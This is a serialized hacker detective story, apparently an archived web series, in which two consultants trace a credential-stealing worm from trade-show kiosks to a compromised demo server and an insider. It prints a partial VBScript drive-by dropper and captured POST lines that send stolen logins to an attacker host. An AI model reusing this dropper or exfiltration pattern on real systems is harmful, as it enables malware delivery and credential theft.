“Way Cool!” Scrap yelled. “Looks like our table is ready.”

After a meal fit for kings, Scrap and I returned to the hotel for a much needed night of rest.

Early the next morning we made our way down to the show floor, kiosk machines and LCD screens in our arms. I spotted Reese at the coffee bar.

“Hook the gear up, I’m going to brief Reese.” I said as I wandered off.

Reese needed some immediate assistance with the steaming cups of coffee goodness in her hands.

“Thank goodness you guys showed up. I was worried that these were going to get cold.” Reese joked as she handed me two of the cups. “So what do you need me to do to help with this test that you talked about last night? Just log into the application?”

“Pretty much.” I replied. “Scrap should have the gear hooked up and ready to go.”

Minutes later we were all huddled around the first kiosk machine, our recent IDE drive installation still in it’s belly.

“Scrap, are we ready?” I asked with a wink.

“Fire in the hole!” Scrap replied.

Reese carefully logged into the web application. She was greeted with the same menu that we had seen the day before. Everything appeared to be normal.

“Proceed as if you were giving us a demo.” I said as I watched Reese move through the screens.

“Chief! We have a visitor!” Scrap yelled as he turned the Scraptop around so that I could view his ethereal session.

“Well, what do you know?” I asked with a smirk.

Source: archived original

Part VII · Oct 5, 2005

“What? Who? Visitor?” Reese asked in a worried voice. “I don’t understand. Someone is on my demo kiosk?”

I stared at the ethereal message that Scrap was pointing to on the scraptop. It would appear that after logging in to the web application, the web browser had downloaded an executable piece of code:

** 111.exe.**“Are we still recording?” I asked as I turned my attention back to the internet explorer window on the kiosk machine.

“Roger that.” Scrap said as he continued to eyeball the traffic in the ethereal window.

“What are you seeing?” I queried as I brought up the task manager on the kiosk machine.

“Nothing now.” Scrap responded.

I saw a single 111.exe application running, and then I had two!

“How about now?” I asked excitedly.

“Gah! ICMP traffic like a mother!” Scrap exclaimed as he click around on the scraptop. “She’s pinging like a drunk sub captain!”

“Are you ready for phase two?” I asked Scrap.

“One second!” Scrap muttered as he reached around and plugged the ethernet cable into the second kiosk machine. “Here goes nothing!”

I sidestepped over to the second kiosk machine and brought up task manager.

I waited one minute, then two minutes, then three minutes without any activity.

“What the hell?” I pondered as I continued to stare a hole into the screen of the second kiosk.

One half-hour later, we unplugged both kiosk machines and feasted on cold coffee.

“Chief, what just happened?” Scrap asked as he ran his chimp-like paw through his tattered hair.

A half-smile appeared on my lips. “Well, I’m pretty certain that the 111.exe process is more of an annoyance than a threat at this point. It wasn’t able to exploit anything on the second kiosk machine, even though we have positive evidence in the ethereal logs that it attempted to.”

“Tell me something I don’t know. What does it all mean, man?” Scrap said in a flippant manner.

“It means, clubhopper, that my theory about the toothpaste tube was correct. We have a server that is potentially compromised and distributing this 111.exe application through an unidentified internet explorer exploit of some type. The payload of the 111.exe appears to be somewhat benign to the Windows 2000 image that was used to build these machines.” I replied as I emptied the last part of my cold coffee surprise into my mouth.

“Chief, excuse my lack of technical skill here, but what did you just say?” Reese asked with a few blinks of her eyes.

“What I’m saying,” I began, “is that the demonstration server that you’re logging into at your HQ is sending your web browser an instruction to download and execute a special program that you don’t want to download or run. We now need to focus our attention on that server and answer the basic questions.”

“Basic questions?” Reese asked with an additional puzzled look on her face.

Scrap snapped to attention. “Oh! Oh! Mr. Kotter! Mr. Kotter! I know these. How did the payload get on the server? How did it go undetected this long? Um, what safeguards were effective and ineffective in preventing this, who has access to the server …”

“Very good Scrap. We don’t need to bore Reese with the whole list. Reese, we need to talk to someone at HQ and get this server looked at. Today is the last day of the show, and this could mean no demonstrations if we can’t get this fixed quickly.” I told Reese sympathetically.

“Crap.” Reese replied as she stared at the ceiling.

“Or, you continue to use our laptops to do your demos today, we take the risk for business reasons, and we work with HQ tonight or tomorrow.” I snapped back, trying to prevent Reese from tearing up.

“I like that option.” Reese said as she perked up. “Let’s go with that. I’m going to write down the CTO’s name and number on the back of my business card. He’s new since you were at HQ. Call him and let him know what’s up. I’ll send him a text message alerting him of your impending call.”

“Works for me.” I replied as I helped Scrap disconnect the kiosk machines and set the demo laptops in their place.

A few moments later, the demo laptops were back in action. Scrap and I took a few moments in the back of the booth to collect our thoughts.

“Dude, she was looking at us like a cow with a bastard calf when you wanted her to pull the demonstrations today.” Scrap said with a laugh. “You’re getting crank in your old age.”

“Where the hell do you get those sayings? Cow with a bastard calf?” I replied as I rolled eyes. “Remember, we always have to give the client the options with the risks. They get to make the decision, because they are the ones signing the checks. It has nothing to do with me being a few years older than your punk butt.”

“Whatever dude. What’s the plan?” Scrap asked.

“We call Mister … Mister … give me the card, Scrap!” I demanded. Scrap was using the card that Reese had given us as a chew toy of sorts.

“Mr. Griffin. Peter Griffin!” I said out loud as I grabbed my cell phone.

The conversation with Peter went from curious to confused in a matter of minutes. Peter insisted on putting his new systems administrator Brian Dogson on the phone.

I rattled off the events of the past few days to Brian who appeared to be technically proficient enough to ask intelligent questions after each of my statements.

“So, the plan would be to take the server offline tonight after the demonstrations are over.” I said to Brian. “Do you have someone available to do that?”

“Not a problem. I’ll stay late and take it offline myself. I have a question for you, though. You said that server forced a download of an executable file to the browsers?” Brian asked.

“Yes. It executed immediately and spawned another copy of itself as a watcher process.” I replied.

“Process? What was the name of this process?” Brian asked.

“111.exe. Why?” I asked.

“Please tell me you’re kidding around.” Brian begged.

The Chief never kids around.

Source: archived original

Part VIII · Oct 11, 2005

An uncomfortable laugh filled the phone line. I could hear Brian moving the phone away from his mouth to lessen the impact of his disbelief.

“You’ve seen this 111.exe process before?” I asked. “Chief, I’ve spent the past year trying to clean that thing off of various machines here at HQ. Nobody seems to know where it came from, how it gets onto our machines, or how to keep it off.”

I paused for a moment. I had a strange gut feeling where this was going.

“I thought I had completely eliminated that thing.” Brian explained. “And now to hear that it’s on the demo server just makes my frick’in day! I’m going to need a few martinis after work now.”

I chuckled. “You and Scrap will get along marvelously. I have to ask you how you’ve been cleaning this thing off of infected machines.”

Brian cleared his throat. “Well, it’s been trial by error, actually. We started having complaints from laptop users in the field. Our tech did a pretty thorough analysis of the laptops and found the 111.exe process. They treated it like any potentially dangerous piece of malware. They slaved the drives, copied off important files, wiped the machines and put our OS image back on the machines. This worked out great. We had deeper problems with servers, as you can imagine.”

“I bet.” I replied. “Most of your servers probably contained drive arrays. That’s a little more complicated.”

“We’re on the same page there. The only good news I can find here is that we haven’t had any other reports of servers exhibiting the strange behavior, so maybe after we set up a fresh demo server we’ll be good to go.” Brian said with a sigh.

“Let’s hope so.” I said as I ended the phone conversation.

My gut was rumbling, and it wasn’t from the bagel that I ate for breakfast.

“Scrap! Grab one of the kiosks, your laptop, and join me in the back of the booth.” I yelled over to Scrap in an attempt to distract him from the neighboring booth babes.

“On it.” Scrap replied as he waved goodbye to a statuesque brunette. “This job is killing my social life.”

“Whhhhiiirrrr!”

The fans of the kiosk machine spun up and the LCD screen lit up with a Windows 2000 boot screen.

“What gives, boss?” Scrap inquired as he made himself comfortable on the floor beside the kiosk machine.

“Scrap, what exactly does this 111.exe process really do?” I asked as I brought up task manager on the kiosk machine. The 111.exe processes were running full steam ahead and consuming massive amounts of CPU resources.

“It’s a naughty replicating worm, right?” Scrap responded.

“Yes, but what makes it tick? It’s time to dig deeper. Hand me our Windows utilities CD.” I said as I opened the CD tray on the kiosk machine.

I inserted a CD containing several commonly used file examination utilities, and opened a command prompt.

**D:\tools\winx86\binutils\strings c:\windows\111.exe

banc bank banco dinero money username PIN password funds trade**

“What the clueless cover charge is that?” Scrap said with a loud gulp from his warm soda bottle.

“Motive.”

Source: archived original

Part IX · Oct 13, 2005

“Chief, you really need to go back to your caffeinated ways man. How exactly does a list of words give somebody a motive to create and distribute this little worm?” Scrap said as he bit his lower lip. Not only was Scrap a top-notch systems administrator, but a first-rate Pamela Anderson impersonator - without the surgeries.I grabbed an ethernet cable and snaked it into one of our micro-hubs.

“Plug the Scraptop in, and get an ethereal session running.” I barked at Scrap as I initiated an Internet Explorer window.

“Done.” Scrap replied back after a few taps on his keyboard.

“Don’t take your eyes off of that ethereal window.” I said as proceeded to type a URL into the address bar of Internet Explorer.

http://www.bankofamerika.com

Without any DNS services available, my request was immediately met with a “could not resolve hostname” message.

“Anything?” I asked Scrap.

“Nothing unusual. A metric ton of ICMP garbage from the 111.exe process and the normal windows chatter.” Scrap shot back, his eyes carefully fixed on the ethereal window.

“Ok, keep watching.” I said as I typed more URLs into Internet Explorer.

**http://www.bancoespana.com

http://www.moneyandmatters.com

http://etraderr.com **

Nothing.

“Let’s make this interesting.” I said as I ran an ethernet cable from our hub to the network switch that was outside of Stevie’s firewall.

I gave the kiosk machine a real IP address, and moved on to another URL.

http://omgtehmarketfunds.com

“Chief, I have nothing. You really have lost your little monkey mind this time.” Scrap joked, still not taking his eyes off of the screen.

Instinct took over as I stared at the “Username/Password” fields on the omgtehmarketfunds.com website. I typed in what I hoped was a bogus username and password and pressed the “login” button.

“Woah! Woah! Wait… wait. I need to scroll back.” Scrap said in a slightly higher voice than usual. I hadn’t heard Scrap talk that way since he switched from boxers to briefs eons ago.

“What do you have? What?” I asked as I leaned over to catch a glimpse of the ethereal window.

“Holy two-for-one table dances. That whipped by so fast I barely saw it!” Scrap exclaimed.

“Kind of like high school?” I joked.

Back to being serious.

“I’m going to slap you upside the head if you don’t move so I can see.” I said as I pulled the Scraptop closer to me.

**POST http://allyourbase.belongto.us/x.php?a=omgmarketfunds.com&b;=lickamonkey&c;=bigbigpaws **

I had a smile on my face that nearly engulfed my entire face. Once again, instinct was right on the money.

“Don’t get cocky, monkeyboy. Keep testing.” I said under my breath as I type in more URLs.

http://www.bancone1.com/

I glanced at the Scraptop.

POST http://allyourbase.belongsto.us/x.php?a=bancone1.com&b;=myhovercraft&c;=fullofeels

“Intelligent freaking keylogger.” I said to myself.

“Yo, is that doing what I think it’s doing?” Scrap quizzed.

Scrap is one sharp chimp sometimes.

Game on.

Source: archived original

Part X · Oct 18, 2005

“Are you absolutely sure?” I asked Reese as she sat down with us in the back of the booth for a quick coffee break.

“Yes, I’m sure. We never do anything on those kiosk machines but visit the demo site.” Reese replied. “But you should probably check with Stevie as well.”

“I’ll go find him.” Scrap said as he took off towards the network cabinet of the booth.

“You have to understand that our discovery this morning changes the face of this whole thing. Brian Dogson told me that this thing was all over your HQ network and they finally stamped it out. The risk here is that we have no idea how much data has been compromised on your network, and by whom.” I informed Reese after a quick swig of coffee. “I need to call Brian back and tell him about our findings. I have an idea about how we might …”

“Stevie says he never went to other sites on the kiosk machines, he always used his laptop.” Scrap interjected as he sat back down.

“I need to get back to the floor, please call Brian as soon as possible.” requested Reese as she stood up and placed her coffee cup in the trash can.

“This whole thing is freaking me out.”

I picked up my cell phone and dialed Brian’s direct line.

“Dogson.” Brian said into his cell phone.

“Brian, it’s Chief. We have a …”

“Is it time to down the demo servers yet? I really want to have a social life tonight.” Brian interrupted.

“Brian, listen. The 111.exe process is an intelligent keylogger. It is somehow grabbing URLs, usernames and passwords from financial sites. You have to assume that any web sites that your staff have visited since your discovery of the 111.exe process have been compromised.” I said in a rushed voice.

“Oh my God. Oh my God.” Brian whimpered. “I’m never going to get out of here this weekend!”

“Brian, calm down. Look, I think I have a way to narrow down which machines you need to check first - these would be the primary suspect machines. Go through your http proxy logs and look for any traffic to http://allyourbase.belongto.us. A quick grep for that URL should give you a list of proxy usernames and IP addresses. Check those machines. If you’re running DHCP this is going to get a bit more complicated.” I said in a reassuring voice.

“Uh, right. Well, to be honest we’re not using DHCP. Everyone has a static ip address. I’ll get on this right away. What should I do after I have verified that the process is not on any machine?” Brian asked.

“Update, patch and scan the hell out of those boxes. Make sure they are as clean of any malware as possible. Then, you need to make the users of those machines aware that their access to those sites may have been compromised, and they should change their credentials as soon as possible. They may want to file some fraud alerts with their institutions.” I replied.

“Oh boy, okay. Let me get on this and I’ll call you back.” Brian said as he quickly hung up on me.

Scrap had been listening to my phone call with very perked ears.

“So now what do we do, Brain?” Scrap joked.

“What we do every day, Pinky. We go look for coffee.”

Source: archived original

Part XI · Oct 21, 2005

The great thing about Starbucks locations (besides the wonderful coffee) is that they are everywhere. Scrap and I had decided to head back to our hotel room, and stopped at a “holy green-logo’d shrine to the coffee bean” on the way.“So what do you think, Chief? What’s the deal with this intelligent keylogger, the obvious CPU abuse, the magic appearance on the demo server, and the lack of good coffee at that show?” Scrap asked with a smile.

I took a large gulp of a perfectly tempered kona blend.

“I’m wondering how we keep getting ourselves into situations like this.” I joked. “Seriously, the whole thing reeks worse than your laundry basket. I think once …”

RING

I glanced at my phone. It was Brian.

“Chief.” I said into my magical silver talking box.

“Dude, I so want to go home. I looked through all my logs and it looks like any potential damage was minimized after we went through and nuked this thing from our network a while ago. The demo server situation bothers me though. I still can’t figure out how it got on there or why we didn’t detect it earlier. Do we have a ‘go’ on the disconnect?” Brian asked.

I glanced at my watch. Two hours to go.

“We need to give Reese at least another two hours. I’d set up some monitoring equipment on that segment and keep an eye on things for now. Scrap and I are going to our hotel room to brainstorm and rest. I’ll call you in two hours.” I replied.

“Okay. This whole thing stinks man!” Brian whined as he hung up.

That was the understatement of the day.

Scrap and I finished our journey back to our hotel. I took up refuge at the desk with my Apple Powerbook, while Scrap crashed out on the bed. They just don’t make apprentices like they used to.

“Why, why, why?” I pondered as I wrote up some notes on the events of the past few days. “Why would anyone invest so much time and energy into capturing financial login details with such a poorly written and designed application? Did they not test the application? Were they not familiar with …” BAM. The caffeine from my Starbucks-induced coffee binge started to ignite neurons in my monkey brain. The cloudiness subsided, and I could almost visualize the author of 111.exe in front of their computer … working on the code …

I flipped virtual desktops on my Powerbook and opened a console prompt.

_$ cd captures/current

$ strings 111.exe_

I searched through the text on my screen and wanted to flog myself for completely ignoring valuable information that was right in front of me. I had performed so many string dumps on naughty executables that my eyes had a bad habit of skipping extraneous text.

l33t tr0j@n by f1ngerb3nd3r

I knew that name, and f1ngerb3nd3r didn’t write keyloggers.

The author of 111.exe had embedded a keylogger in a common trojan package in a very poor fashion.

Looks like our perpetrator was copying off of someone else’s paper in class.

Source: archived original

Part XII · Oct 26, 2005

“Dude, WAKE UP!” I yelled as I threw an empty water bottle at Scrap’s noisy, snoring mouth hole.

“Ow. Come on Chief, I’m getting my beauty sleep.” Scrap mumbled as deftly covered his entire head with a nearby pillow.

I laughed. “It’s evidently not working, so wake up and pop open your scraptop. I need you to locate somebody for me.”

Scrap rubbed his eyes and let out a girly-sounding yawn. “Alright, who are you looking for?”

“You remember the three guys that asked to hang out with us a few Def Con shows ago so they could keep bumming smokes from you?” I queried.

Scrap stared at the ceiling and let out a brief meditative-like humming sound.

“Oh, yeah! Yeah! I remember those dudes. And the one with the braided beard kept asking me to spot him a beer.”

“That’s the dude. F1ng3rb3nd3r, aka Westmayor.” I replied.

“Yeah! The trojan dude! You know, I think he was stoned most of the time while he was there.” Scrap said innocently.

I grinned. Duh.

Scrap popped open the scraptop and headed to IRC.

The second hand on my watch was either ticking very loudly, or I was paying way too much attention to it. Either way, Reese had about ten minutes before Brian pulled the plug on her server.

“Speak of the devil - it’s b3nd3r man!” Scrap said with a laugh.

“You found him that fast?” I responded in a stunned voice.

“Dude, he hangs in #weed. DUH!” Scrap said as he rolled his eyes.

Ok, I deserved that one.

“Hand me your ’top. I need to chat with him.” I said as I reached for the almighty scraptop.

** scrap: Hey man, it’s the Chief - the guy that bought you your brews at DC.

b3nd3r: Dude! What it is. are you looking for weed? lol

scrap: Nope, but I need your help with a trojan that you wrote. If I send you a string dump, can you id which one it is?

b3nd3r: Sure man. DCC it to me now and I’ll take a (.)(.) at it. ;-)

scrap: Great. brb **

“Scrap! Wake my powerbook from sleep - I need to grab something off of it via ssh.” I said as I nudged an almost asleep Scrap on the arm.

“Yeah yeah.” Scrap replied as he tapped the space bar on the powerbook.

scp chief@chiefspowerbook:/evidence/captures/current/stringdump.txt /tmp

I was ready to DCC the file to b3nd3r.

scrap: Incoming!

B3nd3r accepted my file send immediately.

b3nd3r: brb. Gonna take a look.

RING

Reese was calling my cell phone.

“Chief.” I answered.

“Hey. I’m done. I’m packing everything up.” Reese said. She sounded exhausted.

“Roger that. I’m sending Scrap back there to help you.” I replied as I hung up.

“Wha…” Scrap began.

“You got your beauty sleep. Go give Reese a hand. Meet me back here.” I said without taking my eyes off of the LCD of the scraptop.

“Aw mannnnn.” Scrap said as he closed the hotel room door behind him.

RING

“Chief.” I answered.

“Hey, it’s Brian. Am I good to go?” Brian asked impatiently.

“Yep, unplug the server at will.” I replied.

“On it. Hey, I forgot to mention something about this server when we talked earlier. There is one distinguishing feature of this server: it is the last and only server left with the original config from the previous system administrator.” Brian said. “Does that mean anything?”

I thought for a second as more caffeinated neurons fired through my brain.

“Possibly. Good work man, let me know how your evaluation of that server goes. Remember to image the drive first.” I advised Brian as I hung up.

My IRC window came to life.

**b3nd3r: yo

scrap: back already?

b3nd3r: this was easy. this is my moneyfart trojan. however, I’m troubled about something. How did you find an executable of this laying around? I never released this.

scrap: it is our belief that someone added a keylogger to your code, messed up some code, and compiled it into an executable called 111.exe.

b3nd3r: are you sh1tt1ng me?

scrap: no, I have the executable right here. any ideas?

b3nd3r: where did u find this executable? ** I filled b3nd3r in on the less-sensitive parts of recent events. ** b3nd3r: well, moneyfart wasn’t completely done and was buggy, man. That’s why I never released it. I think I showed it around but I don’t remember giving anybody any code. I’ll have to think about this after a smoke.

scrap: you do that. hey if you think of anything email me.

b3nd3r: will do, thanks for the email addy. I guess I owe you something for those beers. lol **

I logged off of IRC to a familiar pain in my gut.

B3nd3r knew more than he was disclosing. What was he hiding?

Source: archived original

Part XIII · Oct 30, 2005

“I’m dying.” Scrap whined as he entered the door of our hotel room. “Taking down that booth was painful as hell.”

I smiled.

“A little manual labor is good for the soul. So Reese is all packed up and happy?” I asked.

“Yep. She’s getting on a plane in the morning to go back home. She was pretty wiped. She wanted me to tell you ‘Thanks’ for everything and she said she’d call you tomorrow.”

I sipped on a cup of decaf acquired from the hotel’s cafe, lost in thought.

“Hello? Earth to Chief. What’s up?” Scrap asked as he waved his monkey paws in front of my face.

I filled Scrap in on my conversation with b3nd3r, and my concerns that b3nd3r may be hiding something.

“Dude, the guy is so smoked up I’m amazed he could still type.” Scrap laughed.

“No kidding.” I said as I snapped back to reality. “Let’s crash and try to get some relaxation time in tomorrow.”

“Way ahead of you, boss.” Scrap said, his body sprawled out on one of the beds in the hotel room.

Saturday morning came with a boom, literally. Scrap and I were awakened by a large crashing sound just outside our hotel room.

“Aw man, okay, okay I’m awake!” Scrap said as he rolled out of bed.

“That wasn’t me, man.” I replied as I opened the hotel room door. Much to my surprise I found several room service trays strewn about the hallway and food all over the floor.

“Scrap, your breakfast is here.” I joked.

“I didn’t order any breakfast, man.” Scrap moaned.

“Kidding. Get dressed and let’s find some pancakes and coffee.”

What a way to start the weekend.

I was two cups of coffee into breakfast when our meal was interrupted by (surprise) my cell phone.

RING

“Chief.”

“Chief, it’s Brian. I know it’s early and I apologize. I couldn’t sleep so I came into the office this morning and started working on examining that demo server.” Brian said quickly.

“You got something?” I asked.

“Well, maybe. I have the source html to the demo site in a tar ball that I’d like to send you. I can’t make a whole lot out of it, but I bet that you can.” Brian said, his voice clearly showing his enthusiasm for this little project.

“Cool. If it’s not too big, send it to this email address.” I said as I rattled off a few email addresses.

“On it’s way. What else do you want me to do?” Brian asked.

“Do you still maintain the workstation asset database that I set up for you a while back when I consulted there? I think you called it ‘Workstation Info Database’ or something similar.” I asked.

“Yes, why?” Brian queried.

“I want you to look up a few workstations, find out where they are now, and find out if they were re-imaged at any point since their initial image.” I said, giving Brian a list of names.

“On it. Let me know if you find anything interesting in the source code!” Brian requested as he hung up.

“Uh-oh. You have that look again.” Scrap bemoaned as he rolled his eyes.

“Finish up your food, we have source code to look through.” I said.

We returned to our hotel room to find the mess in the hallway cleaned up and our room prepped by housekeeping.

I popped open the lid to my Powerbook and retrieved the email from Brian.

After a few minutes I was browsing the source code to a relatively small number of files. It appeared that the source code Brian retrieved was to the ’landing pages’ of the site which did browser version verification, user authentication, and then handed the request to some sort of a java server application.

Was I wasting my time here? I was several pages into my examination and didn’t see anything out of the ordinary.

“Holy Christmas-blend shortages. What the hell is this?” I said as I viewed the authentication redirection page.

_ language=“vbs” myArray= array([byte code snipped]) set quagmire = CreateObject(“Adodb.Stream”) quagmire.Type = adTypeText quagmire.Open quagmire.WriteText toString(MyArray) quagmire.Position = 0 quagmire.Type = adTypeBinary quagmire.Position = 2 bytearray = quagmire.Read quagmire.Close payload.savetofile([snipped]), adSaveCreateOverWrite document.location=“view-source:"+document.location.href _

“Does that do what my spidey-sense tells me it does?” Scrap asked as he peered over my shoulder.

“Unfortunately, yes.” I said as I picked up the phone to call Brian.

Brian answered his phone within a few rings.

“Brian, can you put an .iso file of your workstation image somewhere that I can grab?” I asked.

“Uh, sure. Why?” Brian asked.

“If you have a few minutes, I’ll gladly explain.” I replied.

Brian was about to need a bottle of pepto.

Source: archived original

Part XIV · Nov 2, 2005

I kept my conversation with Brian relatively short, and tasked him with a few other items. I had no sooner ended my phone call when I noticed that Scrap was ripping laptops out of our equipment carrier and was setting up what appeared to be an impromptu testing lab.“Aren’t you a busy little monkey?” I asked as I took a seat next to Scrap on the floor.

“Okay, so check my thinking here. I booted this laptop using the Windows 2000 Server partition, and I’m copying over the source tree that Brian sent you. If I copy the source tree into the default web server documents directory on my IIS5 webserver, I should be able to connect to it using a laptop imaged with Stevie’s CD, right?” Scrap said in between furious spurts of typing.

“Sounds like an interesting test. I’ll grab another laptop and do a default install of Windows 2000 Workstation on it.” I said as I grabbed a laptop and a Win2k Workstation install CD.

Several minutes, network configurations, and runs to the cafe downstairs later we were ready to test.

“How’s that IIS server?” I asked as I looked up from my laptop screen. “Ready for me to fire a torpedo your way?”

“Looks like we’re ready. I’m pulling up the page locally - and ironically enough our Win2k Server image seems immune!” Scrap joked.

“Ok, start the ethereal session on the scraptop so we’re sure that we’re going to capture this.” I requested.

“Done. Fire away!” Scrap squealed. I tried to remove that sound from my mind almost immediately.

I entered the URL of our newly-made evil IIS server and, with a deep breathe, pressed the enter key on the victim laptop.

“Bah-dah-boom baby!” Scrap exclaimed as he eye-balled the ethereal session.

“That’s exactly what we saw on the kiosk machines.”

I waited patiently in front of my victim laptop. I brought up task manager, and sure as sugar I saw the 111.exe processes in memory.

I high-fived Scrap and took a sip of my lukewarm coffee.

“Scrap, that was some excellent initiative. What’s your under-the-hood take on the VB script?” I asked, pointing to the code on Scrap’s Windows 2000 Server laptop.

“This guy is good, I’ll give you that, boss. Basically, this VB script code processes “MyArray” containing the evil 111.exe by slicing up the hex values and then merging them back into an evil byte string. He then makes a binary object. The object is written to the victim hard drive with this ‘savetoFile’ function.” Scrap said with the confidence of Fabio in a hair-do contest.

“I’m following you. After that, he executes the 111.exe file on the victim hard drive using the ‘document.location statement, right?” I said, catching Scrap’s enthusiasm.

“Bingo! The delivery on this is really sharp. I think I’m going to play around with this for a while.” Scrap replied as he trailed off into deep thought.

RING

“Chief.”

It was Brian, and by the sound of his voice I assumed he was smoking the same enthusiasm crack pipe that we just took a hit off of.

“Chief, the .iso image of the workstation install image is up on the ftp site address that you should have in your email box.” Brian said.

“I appreciate that, man. That was quick.” I replied.

“That’s not all. I went back through the workstation database, and I discovered that all of our workstations were re-imaged after the first wave of this 111.exe nightmare … except for one.”

My gut started to tingle.

“Who’s workstation?” I asked.

Brian implemented a dramatic pause and said a single word.

“Weed’s.”

Source: archived original

Part XV · Nov 11, 2005

Scrap stopped what he was doing and looked at me with a puzzled stare. Had it finally hit him that he pawned off his free strip club tickets to help this case? Or, was he wondering what the perplexed look was on my face?“Chief, you okay?” Scrap asked as he waved his monkey paw from left to right in a blessing-like fashion.

“Thanks Brian. I’ll get back to you.” I said into my cellphone as I pressed the ‘hang-up’ button.

“Hello Chief, anybody in there?” Scrap asked again.

“Hold on a second, chimp boy.” I responded as I dialed Reese’s cellphone number.

“Hello! This is Reese speaking.” came a familiar voice on the other end of the conversation.

I cleared my throat.

“Reese, it’s Chief. I was thinking about the offer you made at dinner, and I agree that we need to be brought in as contractors to finish up this investigation.”

I apparently caught Reese off guard.

“Really? Okay, I’ll make a few calls. I’ve already explained the situation to our CFO and CEO. They were receptive to the idea. I’ll email you an agreement for your reimbursement.” Reese said.

“Great. I need you to do one more thing for me.” I began. “I need you to work with your human resources manager and get me a copy of some personnel files.”

“What?” Reese replied.

“I’ll explain later. I really need to review them.” I said as I rattled off some employee names.

We ended our phone conversation.

I collected my thoughts for a moment and typed some additional notes into my powerbook. Keeping a good timeline of events is essential in any investigation.

“Yo, this is bothering me something fierce.” Scrap announced as he motioned for me to take a look at the laptop screen.

“What’s up?” I asked as I took a seat next to Scrap on the floor.

“I grabbed the workstation image that Brian provided. Would you believe that the thing is as weak as the demo machine install CD? It’s Windows 2000 Professional, underpatched, underprotected and just plain ridiculous on every level. There’s not even a password assigned to the local Administrator account!!!” Scrap exclaimed with a painful expression on his face.

“That brings me to my next issue. How many of these types of attacks have we seen since we started working together?” Scrap asked.

I rolled my eyes.

“A lot. I can’t even count them. Why?” I responded.

“Dude, in every single instance where we have investigated some type of evilware, the author always takes credit for his work. Always. Period. There is no credit anywhere in here except for the distribution method, which is credited to b3nd3r.” Scrap said as he scrolled through our string dump.

“I considered that.” I said. “But we could be dealing with a total amateur here.”

Scrap shrugged his shoulders. “True, boss. But even amateurs like bragging rights. This just isn’t kosher for some reason.” Scrap responded as a growling noise escaped his stomach.

“Evidently our stomachs are in agreement on two things. One of them is lunch. Let’s go!” I said as I made a beeline for the door.

We were at the tail end of a couple of delicious rueben sandwiches when I felt my phone vibrate. After a few napkins wipes and licking of fingers, I answered my call.

“Chief.”

“Hey, it’s Brian. I tracked down Weed’s machine, and you’re not going to believe our luck.” Brian exclaimed.

“Surprise me.” I joked as I motioned for Scrap to join me as we walked back up to our room.

“It’s still plugged in and running on his desk. Apparently nobody, myself included, thought to disconnect the darned thing. The screen is locked and none of our usual passwords work, including the Administrator password. For whatever reason, Weed wasn’t logged in to our Windows domain - he’s logged in to the machine as a local Administrator.” Brian said.

“Did you try just hitting enter with a blank password?” I said with a grin.

“A WHAT?” Brian replied in high-pitched voice.

“Just hit enter on the password field.” I suggested.

“Uh, hold on.” Brian replied as he put his cell phone down on his desk.

A loud series of key mashings could be heard in the background, and then Brian picked up his phone in a hurry.

“You know, I know you’re good and all, but how THE HELL did you know the password was blank?” Brian demanded.

“Ancient Chinese secret.” I replied. I then explained to Brian about Scrap’s discovery of the blank Administrator password on the CD image.

Scrap and I entered our room and immediately woke our laptops from sleep mode.

“Alright, I’ve been schooled today. What do you want me to look for on this box?” Brian asked.

“I’m emailing you a CD image. The CD contains several tools. I’ll include a text file explaining the details, but basically I need you to use the ‘pslist’ utility to dump out running process information, use ‘fport’ to map out processes to ports in use, and then I need the standard Windows info dump including network config, user listing, etc. You’ll need a blank floppy, because my directions will tell you to direct the output of the commands that you’ll be running from the CD onto a floppy disk. Clear?”

I could hear Brian scribbling on a piece of paper.

“Got it Chief. Be back with you in a few.” Brian said as he hung up.

I rattled off an email to Brian and enclosed the tiny utility CD image along with some instructions.

DING

I had received a new email message from someone named Mary Baggins. Her email signature indicated that she was the Human Resources Director at SST.

_ Chief:

Our employee files are electronic, so I have dumped them into PDF documents and attached them to this email. This information is confidential, please treat as such.

Regards, Mary _

I opened the first PDF document and rubbed my eyes not once, but twice.

“Scrap.” I said without taking my eyes off of the document.

Scrap was focused on his laptop.

“SCRAP!” I said as I knocked on the surface of the desk in front of me.

Scrap peered over my shoulder at the employee folder.

“Oh, cool! Weed’s personnel folder. Was he busted for smoking in the bathroom?” Scrap joked.

I scrolled up within the document and used the screen-zoom function of Mac OS X to enlarge the employee photo.

“You… have… got… to be… sh…” Scrap trailed off.

I couldn’t have said it any better myself.

Source: archived original

Part XVI · Nov 15, 2005

“Dude! We drank with that guy! We toasted with the enemy.” Scrap lamented.

The picture in the employee record was none other than b3nd3r, the person responsible for many carefully-crafted pieces of evilware over the years and the same person who had talked us into buying him drinks and smokes during Def Con.

My gut had told me that b3nd3r was hiding something during our IRC conversation, and now my gut was proven right.“This is an interesting development, Scrap. We know a lot about b3nd3r from our conversations with him in the past. Let’s look over our timeline and apply what we know about b3nd3r to the events.” I suggested as I switched virtual desktops on my powerbook and opened my case file notes.

“Your middle name should be correlation, man.” said Scrap with a grin. He was probably right about that.

Scrap and I spent a few hours bouncing ideas off of each other. B3nd3r had the knowledge and the opportunity to be responsible for all or part of the recent events, however we were unsure of a motive.

RING

Almost on cue I received the call that I had been waiting for from Brian.

“Chief.”

“Hey Chief, Brian here. I have gathered all of the information that you requested from Weed’s machine and I captured an Encase image on a hard drive for you. Where would you like it shipped?” Brian asked.

I gave Brian the address and room number to our hotel. Brian agreed to send the information via overnight carrier.

“Scrap, I need you to …” I began.

“OH let me guess. You want me to run down to the car and get Roscoe.” Scrap said with a definite lack of enthusiasm.

“Yes, please.” I responded as I checked my email on my powerbook. Brian was going to send the initial information gathered in an email so that I could start my research immediately.

Scrap had no sooner closed the hotel room when I heard a familiar “beep”. I had a message in my inbox from Brian.

Brian had followed my directions to the proverbial “T”. Upon closer examination of the information, I noted the following information:

Local accounts of interest: administrator [password blank] w33d [password assigned]
Single network interface, static IP address
Network services of interest: ssh daemon - port 22 - attached to sshd.exe telnet daemon - port 23 - attached to telnetd.exe http server - port 80 - attached to w33dserver.exe **

“Interesting.” I thought to myself. “The ssh and telnet daemons look, but may not be, standard daemons that are available in the open source community. I wonder what this w33dserver.exe process is?”

I brought up a web browser and turned to one of the greatest research tools available: google.com.

I entered “w33dserver.exe” into the search bar and had three interesting hits. The first hit was a hax0r forum discussion between two usernames: w33d and n00b. N00b’s question was quite interesting.

“I have w33dserver running, but I’m [not] receiving any hits from my clients. What did I do wrong?” wrote n00b.

W33d was quick to respond to the question by posting an answer of “N00b, you have to explicitly tell the server to accept information from your clients by setting your w33dID variable in w33d.ini”.

Interesting.

